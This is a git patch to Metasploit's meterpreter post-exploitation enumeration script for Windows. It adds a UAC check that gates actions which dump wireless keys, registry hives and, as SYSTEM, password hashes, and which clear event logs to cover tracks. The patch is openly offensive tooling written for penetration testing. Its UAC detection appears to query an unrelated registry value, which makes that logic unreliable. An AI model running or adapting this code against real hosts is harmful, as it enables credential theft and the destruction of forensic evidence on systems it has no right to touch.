From 263998e27d91fc9ae4437d6af71d904b943d62d9 Mon Sep 17 00:00:00 2001
From: Carlos Perez <carlos_perez@darkoperator.com>
Date: Sun, 26 Jul 2009 17:31:32 +0000
Subject: [PATCH] Added UAC detection for Windows Vista and Windows 7 and
 checking so as to be able to perform certain accions

git-svn-id: file:///home/svn/framework3/trunk@6904 4d416f70-5f16-0410-b530-b9f4589650da
---
 scripts/meterpreter/winenum.rb | 48 +++++++++++++++++++++++++++++-----
 1 file changed, 41 insertions(+), 7 deletions(-)

diff --git a/scripts/meterpreter/winenum.rb b/scripts/meterpreter/winenum.rb
index 1bb65bce81..391683ca30 100644
--- a/scripts/meterpreter/winenum.rb
+++ b/scripts/meterpreter/winenum.rb
@@ -570,7 +570,28 @@ def migrate(session)
 	#killApp(oldProc)
   	#Dangerous depending on the service exploited
 end
-
+#---------------------------------------------------------------------------------------------------------
+#Function for Checking for UAC
+def uaccheck(session)
+        uac = false
+        winversion = session.sys.config.sysinfo
+        if winversion['OS']=~ /Windows Vista/ or  winversion['OS']=~ /Windows 7/
+                if session.sys.config.getuid != "NT AUTHORITY\\SYSTEM"
+                        begin
+                                print_status("Checking if UAC is enabled .....")
+                                key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System')
+                                if key.query_value('Identifier') == 1
+                                        print_status("UAC is Enabled")
+                                        uac = true
+                                end
+                                key.close
+                        rescue::Exception => e
+                                print_status("Error Checking UAC: #{e.class} #{e}")
+                        end
+                end
+        end
+        return uac
+end
 ################## MAIN ##################
 # Parsing of Options
 rd = nil
@@ -613,6 +634,7 @@ if helpopt != 1
 	filewrt(dest,header)
 	filewrt(dest,chkvm(session))
 	trgtos = info['OS']
+	uac = uaccheck(session)
 	# Run Commands according to OS some commands are not available on all versions of Windows
 	if trgtos =~ /(Windows XP)/
 		filewrt(dest,list_exec(session,commands))
@@ -634,13 +656,17 @@ if helpopt != 1
 		else
 			filewrt(dest,gethash(session))
 		end
-	elsif trgtos =~ /(Windows Vista)/
+	elsif trgtos =~ /(Windows Vista)/ or trgtos =~ /(Windows 7)/
 		filewrt(dest,list_exec(session,commands + vstwlancmd))
 		filewrt(dest,wmicexec(session,wmic))
 		filewrt(dest,findprogs(session))
-		dumpwlankeys(session,logs,filenameinfo)
+		if not uac
+			dumpwlankeys(session,logs,filenameinfo) 
+		else
+			print_status("UAC is enabled, Wireless key Registry could not be dumped under current privileges")
+		end
 		if (client.sys.config.getuid != "NT AUTHORITY\\SYSTEM")
-			print_line("[-] Not currently running as SYSTEM, not able to dump hashes in Windows Vista if not System.")
+			print_line("[-] Not currently running as SYSTEM, not able to dump hashes in Windows Vista or Windows 7 if not System.")
 		else
 			filewrt(dest,gethash(session))
 		end
@@ -652,15 +678,23 @@ if helpopt != 1
 	#filewrt(dest,gethash(session))
 	filewrt(dest,listtokens(session))
 	if (rd != nil)
-		regdump(session,logs,filenameinfo)
-		filewrt(dest,"Registry was dumped and downloaded")
+		if not uac
+			regdump(session,logs,filenameinfo) 
+			filewrt(dest,"Registry was dumped and downloaded")
+		else
+			print_status("UAC is enabled, Registry Keys could not be dumped under current privileges")
+		end
 	end
 	if (cm != nil)
 		filewrt(dest,"EventLogs where Cleared")
 		if trgtos =~ /(Windows 2000)/
 			covertracks(session,cmdstomp - nowin2kexe)
 		else
-			covertracks(session,cmdstomp)
+			if not uac
+				covertracks(session,cmdstomp)
+			else
+				print_status("UAC is enabled, Logs could not be cleared under current privileges")
+			end
 		end
 	end
 	print_status("Done!")